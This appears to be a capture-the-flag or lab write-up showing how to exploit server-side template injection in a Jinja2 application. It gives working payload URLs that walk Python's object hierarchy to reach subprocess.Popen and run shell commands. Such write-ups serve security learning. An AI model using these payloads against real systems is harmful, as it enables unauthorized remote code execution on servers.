Exploitation

So now we know the following !

• The application is vulnerable to SSTI

• The injection point

• The template engine

• The template engine syntax

Since Jinja2 is a Python based template engine, we will look at ways to run shell commands in Python.

http://10.10.39.6:5000/profile/<div data-gb-custom-block data-tag="import"></div>{{ os.system("whoami") }}

The above payload fails because jinja2 is essentially a sub language of Python that doesn't integrate the import statement in the code block.

Python allows us to call the current class instance with .__class__, we can call this on an empty string and Classes in Python have an attribute called .__mro__ that helps us to climb the inherited object tree, Since we want the root object, we can access the second property .__mro__[1]

Objects in Python have a method called .__subclasses()__ that allows us to climb down the object tree

http://10.10.39.6:5000/profile/{{''.__class__.__mro__[1].__subclasses__()}}

Everythings SET ! - Now we just have to find an object that allows us to run shell commands !

If we look closely the output displayed is just a Python list, so we can access this by using its index

We can find the Subprocess.Popen class in the dump and we can access it by using it's index, which is 401 in this case, so now our payload would look something like this

http://10.10.39.6:5000/profile/{{''.__class__.__mro__[1].__subclasses__()[401]}}

The above payload essentially calls the Subprocess.Popen method, now all we have to do is invoke it

http://10.10.39.6:5000/profile/{{''.__class__.__mro__[1].__subclasses__()[401] ("whoami", shell=True, stdout=-1).communicate() }}